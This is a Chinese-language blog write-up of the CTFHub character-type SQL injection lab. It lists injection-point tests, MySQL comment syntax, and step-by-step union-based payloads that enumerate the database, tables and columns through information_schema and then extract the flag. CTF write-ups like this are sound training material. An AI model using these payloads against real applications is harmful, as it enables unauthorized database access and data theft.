CTFHub - 字符型注入

目录

1. 注入点判断

2. 主要关注的问题

3. MySQL 数据库中的注释

4. 注入流程

4.1 初始界面

4.2 判断注入类型

4.3 判断列数

4.4 获取数据库 库名称

4.5 获取数据表 表名称

4.6 获取列名称

4.7 获取数据


 欢迎各位师傅以kill -9 的威力对文章进行检查,Zeus会认真分析听取各位师傅的留言。

1. 注入点判断

步骤测试数据测试判断
1-1 或 +1是否能够回显上一个或者下一个页面(判断是否有回显)
2' 或 "

是否显示数据库错误信息;

根据回显内容判断是字符型还是数字型。

3

and 1=1

and 1=2

回显的页面是否不同。(布尔类型的状态)
4and sleep(X)

判断页面的返回时间。

X --- 自然数

例:and sleep(5)

5\判断转义

2. 主要关注的问题

主要关注的问题        解释
回显数据库中的内容是否会回显到网页中。
数据库报错        

数据库报错信息是否会回显在网页中。

提交的数据

3. MySQL 数据库中的注释

注释URL 中表现
减减空格(三个字符) 【-- 】--+
井号 【#】%23
内联注释 /* Zeus */

4. 注入流程

4.1 初始界面

4.2 判断注入类型

        题目已经明了,这面旗是字符型注入。

最简单判断注入的类型:

        根据报错内容,把符号过滤掉,如果报错信息带内容,那么就是字符型注入;如果报错信息未带内容,那么就是数字型注入。如第2张图,灰色扩住的是在输入框输入的命令(1')。

        这就判断出来是字符型注入。

        联合查询和报错注入是最省力的,如果该漏洞可以利用这两种进行注入,优先使用联合查询或报错注入。

判断能否使用联合查询:

        根据页面是否回显内容,回显内容可使用联合查询,不回显内容不可使用。

        如:第一张图。

判断能否使用报错注入:

        根据页面是否回显报错信息,回显报错信息可使用报错注入,不回显报错信息不可使用。

         如:第二张图。没有回显报错信息,那么不能使用报错注入。


4.3 判断列数

        如果猜想不错的话,CTFHub中SQL 板块都是两列。

如何判断:

1' order by 1 #   ----- 回显
1' order by 2 #   ----- 回显
1' order by 3 #   ----- 不回显

第一个 ' 是为了闭合前面的 ' 。
# 号是为了注释掉后面的内容。 


4.4 获取数据库 库名称

        union select 是联合查询语句,使用联合查询语句,需要将第一个select 语句执行错误。

        两条select 语句,如果第一条语句执行正确,则不会回显第二条select 语句内容。

-1' union select database(),2 #


4.5 获取数据表 表名称

获取sqli 数据库下的所有表名。

        group_concat :将多行数据按照指定的顺序连接成一个字符串。也就是获取所有的意思。

        information_schema :在关系型数据库中常见的系统数据库,每一个数据库都会自动生成。

        information_schema:数据库包含了一系列的系统表,提供了关于数据库、表、列、索引、权限等元数据信息的访问接口,允许用户查询和获取数据库结构相关的信息。
 

-1' union select group_concat(table_name),2 from information_schema.tables #

select * from 表名


4.6 获取列名称

-1' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='flag' #

select * from 表名 where(限制条件) 条件1 and 条件2 and 条件3 ......


4.7 获取数据

     恭喜你!!!

     成功获取flag !!!

-1' union select flag,2 from flag #

或者在URL里用 --+ 备注类型。

 有困惑的地方,伙伴们尽管留言,Zeus会在第一时间进行回复。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值